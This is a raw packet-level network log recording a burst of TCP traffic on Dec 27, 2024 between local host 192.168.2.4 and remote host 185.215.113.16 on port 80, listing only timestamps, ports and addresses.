Dec 27, 2024 08:45:24.005734921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.005783081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.157301903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.157381058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.157452106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.157516956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.157625914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.158252001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.158288956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.158343077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.158382893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.158926964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.159033060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.159640074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.159696102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.159742117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.159779072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.160372019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.160501957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.160609007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.161101103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.161185980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.161313057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.161818027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.161881924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.162132978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.162508965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.162565947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.162619114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.163225889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.163338900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.163427114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.163944960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.164083958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.164671898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.164726973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.164768934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.164803028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.165361881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.165508032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.166078091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.166141987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.166225910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.166268110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.166810036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.166908026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.166955948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.167512894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.167637110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.167884111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.168236017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.168356895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.168423891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.168925047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.169051886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.169095039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.169676065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.169753075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.169811964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.170372009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.170475960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.170537949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.171087980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.171147108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.171268940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.171773911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.171899080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.171993017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.172492981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.172640085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.172681093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.173211098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.173330069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.173367977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.173932076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.174053907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.174097061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.174658060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.174757004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.174801111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.175404072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.175508022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.176127911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.176170111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.176212072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.176250935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.176799059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.176954031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.177546978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.177583933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.177663088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.178148985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.178325891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.178416967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.178452969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.178975105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.179124117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.179167986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.179682970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.179769993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.179807901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.180380106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.180511951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.180605888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.181179047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.181328058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.181391954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.181785107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.181952953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.182035923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.182508945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.182641029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.182687044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.183212042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.183331966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.183934927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.183986902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.184144974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.184201002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.184658051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.184778929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.185601950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.185616016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.185662031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.185683012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.186067104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.186182022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.186258078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.186786890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.186852932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.186889887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.187519073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.200707912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.200722933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.200789928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.200828075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.200872898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.201046944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.201560020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.201647997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.201690912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.202272892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.202373981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.202423096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.202991962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.203032970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.203071117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.203686953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.203732014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.203771114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.204431057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.204495907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.204521894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.205127954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.205189943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.205259085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.205832958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.205893040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.205934048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.206573009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.206613064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.206651926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.207288980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.207329035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.358740091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.358942986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.359018087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.359033108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.359169006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.359744072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.359797955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.359833956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.359872103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.360537052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.360692024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.361203909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.361254930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.361291885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.361327887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.361896992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.361984015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.362271070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.362616062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.362700939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.363396883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.363444090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.363492966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.363538027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.364051104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.364150047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.364765882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.364814997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.364855051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.364887953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.365447044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.365567923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.366182089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.366221905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.366292000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.366939068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.366951942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.366983891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.367003918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.367583036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.367705107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.367753983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.368329048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.368426085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.369029999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.369080067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.369081974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.369116068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.369740963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.369848013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.370273113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.370446920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.370662928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.371179104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.371227026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.371301889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.371345043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.371949911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.372124910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.372637987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.372697115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.372711897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.372756958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.373322010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.373400927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.374025106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.374073029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.374138117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.374197006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.374753952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.374823093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.374869108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.375479937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.375638962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.376173019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.376214981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.376287937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.376333952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.376883030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.377005100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.377593040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.377641916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.377685070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.377727032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.378313065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.378412962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.378468990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.379040003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.379141092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.379755974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.379807949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.379920959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.379961014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.380475044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.380558014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.381197929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.381249905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.381309986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.381351948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.381899118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.382006884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.382278919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.382600069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.382709980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.383337975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.383395910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.383429050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.383462906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.384032011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.384150028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.384860039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.384879112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.384903908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.384938002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.385481119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.385574102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.385616064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.386185884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.386300087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.386893988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.386944056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.386977911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.387049913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.387614965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.387748957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.388326883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.388375044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.388418913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.388463020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.389003992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.402249098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.402335882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.402506113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.402527094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.402573109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.402607918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.403243065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.403327942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.403378010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.403944016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.404010057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.404081106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.404680014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.404691935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.404737949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.405394077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.405455112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.405484915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.406068087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.406204939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.406243086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.406795025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.406930923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.406970978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.407510996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.407558918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.407609940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.408215046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.408333063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.408380985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.560349941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.560441017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.560574055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.560595989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.560704947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.560748100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.561296940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.561371088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.561414957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.562052965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.562102079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.562153101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.562773943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.562819004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.562863111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.563457012 CET	80	49744	185.215.113.16	192.168.2.4
